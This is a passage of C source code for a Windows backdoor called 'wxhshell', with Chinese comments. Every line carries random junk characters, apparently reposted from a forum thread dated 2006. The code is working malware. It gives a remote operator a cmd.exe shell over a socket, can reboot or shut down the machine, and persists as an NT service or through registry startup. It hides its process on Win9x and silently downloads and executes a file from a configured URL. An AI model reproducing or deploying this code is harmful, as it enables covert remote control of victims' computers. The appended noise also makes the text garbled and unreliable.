  y8uB>z+#+;  
  // 帮助 `Pv[A  
  case '?': { gf^"s fNk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .AOf-a  
    break; 4 e1=b,  
  } E4aCL#}D  
  // 安装 {1.t ZCMT  
  case 'i': { 6u`E{$  
    if(Install()) s88lN=;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cTpAU9|(  
    else X|)Ox ,(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Kg:jal  
    break; GpV"KVJJ/  
    } ;#G)([  
  // 卸载 o/bmS57  
  case 'r': { =#||&1U$  
    if(Uninstall()) JJ5s |&}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8r7~ >p~  
    else \Jr ta  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BD+V{x}P  
    break; ,rT62w*e  
    } 7KOM,FWKe  
  // 显示 wxhshell 所在路径 e#MEDjm/)g  
  case 'p': { !N--  
    char svExeFile[MAX_PATH]; w~A{]s{ 4  
    strcpy(svExeFile,"\n\r"); $IzhaX  
      strcat(svExeFile,ExeFile); 48JD >=@7  
        send(wsh,svExeFile,strlen(svExeFile),0); y#Je%tAe 2  
    break; fX=o,=-f  
    } 5T)qn`%  
  // 重启 FMCX->}$  
  case 'b': { ;q&6WO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bLyU;  
    if(Boot(REBOOT)) v`ckvl)(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zrWkz3FN  
    else { pBV_'A}ioh  
    closesocket(wsh); 5|>FM&  
    ExitThread(0); 1Uzsw  
    } ^sR]w]cz.  
    break; &L[oQni];2  
    } bM[!E8dF  
  // 关机 iq_y80g`8h  
  case 'd': { ^a&-GhX;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t .*z)N  
    if(Boot(SHUTDOWN)) O(U 'G|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'mYR3?m;  
    else { jU\vg;nr  
    closesocket(wsh); Enu/Nj 2  
    ExitThread(0); -F.A1{l[.  
    } dHp(U :)  
    break; {[~cQgCI  
    } l<fZt#T  
  // 获取shell V7}5Zw1  
  case 's': { ^V]DQ%v"I  
    CmdShell(wsh); +L(0R&C  
    closesocket(wsh); egcJ@Of  
    ExitThread(0); = WFn+#&^  
    break; Ig9yd S-.  
  } y{CyjYpz^  
  // 退出 y5;l?v94  
  case 'x': { h/u>F$}c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6(1xU\x  
    CloseIt(wsh); t?J Y@hT*  
    break; >05_#{up  
    } )NG{iD{_]  
  // 离开 TEC'}%   
  case 'q': {  X$:r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,})x1y  
    closesocket(wsh); b'\a 4  
    WSACleanup(); So &c\Ff  
    exit(1); q:A{@kFq_  
    break; "YLH]9"=  
        } OnGtIY  
  } r,^}/<*  
  } HF@K$RPK  
&^WJ:BvA|^  
  // 提示信息 4 j9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{6?%lt  
} nNe`?TS?f  
  } UO%Vu C5B  
jA ?tDAx`  
  return; {4u8~whLp  
} pyPS5vWG  
56!>}!8!  
// shell模块句柄 .eQIU$Kw!O  
int CmdShell(SOCKET sock) 4}nsW}jCc  
{ 4 I}xygV  
STARTUPINFO si; E8]PV,#xY  
ZeroMemory(&si,sizeof(si)); `? ayc/TK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s^nPSY!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u+7B-l=u*  
PROCESS_INFORMATION ProcessInfo; [H#*#v  
char cmdline[]="cmd"; EA )28]Y.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " bHeNWZ  
  return 0; w3j51v` 0'  
} 9:tvkl  
K*&?+_v :  
// 自身启动模式 VKa-  
int StartFromService(void) RfPRCIo  
{ z!09vDB^  
typedef struct  (`0dO8  
{ B Z:H$v  
  DWORD ExitStatus; Iq&S6l <0  
  DWORD PebBaseAddress; S30@|@fTz  
  DWORD AffinityMask; %\=oy=f  
  DWORD BasePriority; u*R9x3&/5  
  ULONG UniqueProcessId; |.D_[QI  
  ULONG InheritedFromUniqueProcessId; 6MC*2}W  
}   PROCESS_BASIC_INFORMATION; :P$I;YY=A  
{.7ve<K  
PROCNTQSIP NtQueryInformationProcess; ,6[}qw) *  
f3h&K}x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Kp<T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "P:kZ= M Q  
=2%EIZ0oW  
  HANDLE             hProcess; Q ! 5P  
  PROCESS_BASIC_INFORMATION pbi; a7G0  
amI$0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yVPkJ  
  if(NULL == hInst ) return 0; "i$uV3d  
^ K8JE,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cK.T=7T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \6B,\l]$t@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mfu >j,7l  
qL^}t_>  
  if (!NtQueryInformationProcess) return 0; S3"js4a  
x{io*sY-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  z"BV+  
  if(!hProcess) return 0; 4+mawyM  
;K?fAspSH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y^gK^ ?K  
2tvMa%1^  
  CloseHandle(hProcess); t" 1'B!4  
;_0)f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lv}U-vK  
if(hProcess==NULL) return 0; ?r@euZ&  
;% *e}w0  
HMODULE hMod; !l'Az3'J|  
char procName[255]; }+`W[h&u  
unsigned long cbNeeded; x_Ki5~w5  
=$5[uI2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "fLGXbNQ  
aDa}@-F&a  
  CloseHandle(hProcess); z) 5n&w S  
$4kc i@.  
if(strstr(procName,"services")) return 1; // 以服务启动 fmie,[  
k>{i_`*  
  return 0; // 注册表启动 =ox#qg.5  
} s<qSelj  
9#%(%s 2 +  
// 主模块 e#k9}n^+  
int StartWxhshell(LPSTR lpCmdLine) *MkhRLw\,  
{ PKC``+K i  
  SOCKET wsl; o]#Q6J  
BOOL val=TRUE; $XFG1?L!  
  int port=0; \E.t=XBn  
  struct sockaddr_in door; 5fb,-`m.  
i`r,B`V`08  
  if(wscfg.ws_autoins) Install(); y{ 90A  
UA,&0.7  
port=atoi(lpCmdLine); 1L'[DKb'  
U6X~]|o  
if(port<=0) port=wscfg.ws_port; nx=#QLi  
U=XaI%ZM)  
  WSADATA data; 2Z@<llsi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uGl0z79  
U^Z[6u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aJMh>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4PiNQ'*  
  door.sin_family = AF_INET; [CPZj*|b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 P/A  
  door.sin_port = htons(port); g)$Pvfc  
7OtQK`P"A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zx-+u7qKH  
closesocket(wsl); G !1- 20  
return 1; R)cns7oW  
} [&nwB!kt  
e%bER ds  
  if(listen(wsl,2) == INVALID_SOCKET) { wt2S[:!p  
closesocket(wsl); j)-D.bY0  
return 1; CG9X3%xO%  
} d?N"NqaN  
  Wxhshell(wsl); RMC|(Q<  
  WSACleanup(); zp4ru\  
*`}_e)(k  
return 0; ~n[LL)v  
)SA$hwR  
} 6j"(/X|Ex5  
$:u,6|QsS=  
// 以NT服务方式启动 {'DP/]nK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) puqLXDjA/  
{ !a~x |pjJ  
DWORD   status = 0; LOnhFX   
  DWORD   specificError = 0xfffffff; #0`"gR#+  
]nX.zE|F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jLQjv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !-.-!hBN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n[4Nu`E9  
  serviceStatus.dwWin32ExitCode     = 0; (la<X <w  
  serviceStatus.dwServiceSpecificExitCode = 0; ''5%5(Y.r  
  serviceStatus.dwCheckPoint       = 0; /kw4":{]  
  serviceStatus.dwWaitHint       = 0; yFpHRfF}  
W77JXD93  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?G?=,tV  
  if (hServiceStatusHandle==0) return; Vj2GK"$v  
,6M-xSDs  
status = GetLastError(); ^7"%eWT`  
  if (status!=NO_ERROR) l m  
{ 21o_9=[^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,O[vxN1X*  
    serviceStatus.dwCheckPoint       = 0; Xx'>5d>  
    serviceStatus.dwWaitHint       = 0; Y43#];  
    serviceStatus.dwWin32ExitCode     = status; JG( <  
    serviceStatus.dwServiceSpecificExitCode = specificError; dlT\VWMha(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b8]oI"&G  
    return; %x927I>  
  } 19N:9;Ixz  
6U&Uyd)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J:(Shd'4D  
  serviceStatus.dwCheckPoint       = 0; jSG jv>  
  serviceStatus.dwWaitHint       = 0; &R5M&IwL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |wLQ)y*  
} f%|S>(   
xc/|#TC8?  
// 处理NT服务事件,比如:启动、停止 +%<Jr<~W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^&6NB)6  
{ I"!gzI`Sd  
switch(fdwControl) I !(yU  
{ ks r5P~  
case SERVICE_CONTROL_STOP: }w-`J5Eq#  
  serviceStatus.dwWin32ExitCode = 0; 7S1!|*/ I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8@A[ `5  
  serviceStatus.dwCheckPoint   = 0; xg^fM@#m  
  serviceStatus.dwWaitHint     = 0; 5o3_x ~e  
  { \6'A^cE/PX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *C:+N>  
  } 41zeN++  
  return; K%gFD?{^q  
case SERVICE_CONTROL_PAUSE: R/wSGP`W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UF%5/SiVX  
  break; <=-\so(  
case SERVICE_CONTROL_CONTINUE: q#a21~S<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i4pJIb  
  break; ?oJ~3K g  
case SERVICE_CONTROL_INTERROGATE: &q< 8tTW5  
  break; |{ [i M  
}; 6wd]X-G++  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )aC+qhh  
} "n e'iJf_(  
/iN\)y#u1  
// 标准应用程序主函数 \l2 s^7G_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E\zhxiI  
{ ^~aSrREo  
H<xC%/8  
// 获取操作系统版本 I;v`o{  
OsIsNt=GetOsVer(); D1n2Z :9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OKqpc;y:D  
:acQK=fe  
  // 从命令行安装 sZH7 EK  
  if(strpbrk(lpCmdLine,"iI")) Install(); G8s`<:9*  
GWVdNYpmr  
  // 下载执行文件 [o.zar82  
if(wscfg.ws_downexe) { nKO&ffb'<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 16>uD;G  
  WinExec(wscfg.ws_filenam,SW_HIDE); +B m+Pj>  
} 2T5xSpC  
#'8PFw\zw  
if(!OsIsNt) { j VZi_de  
// 如果时win9x,隐藏进程并且设置为注册表启动 nX~MoWH1  
HideProc(); duS #&w  
StartWxhshell(lpCmdLine); LasH[:QQQ  
} gJ&!w8v.  
else y]l"u=$Tr{  
  if(StartFromService()) ]#$kA9  
  // 以服务方式启动 c-.>C)  
  StartServiceCtrlDispatcher(DispatchTable); 8UIL_nPO  
else [&CM-` N  
  // 普通方式启动 $<cZ<g5)  
  StartWxhshell(lpCmdLine); g#4gGhI  
gQuw|u  
return 0; !I[n|r"  
}
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只看该作者 1 发表于: 2006-10-10
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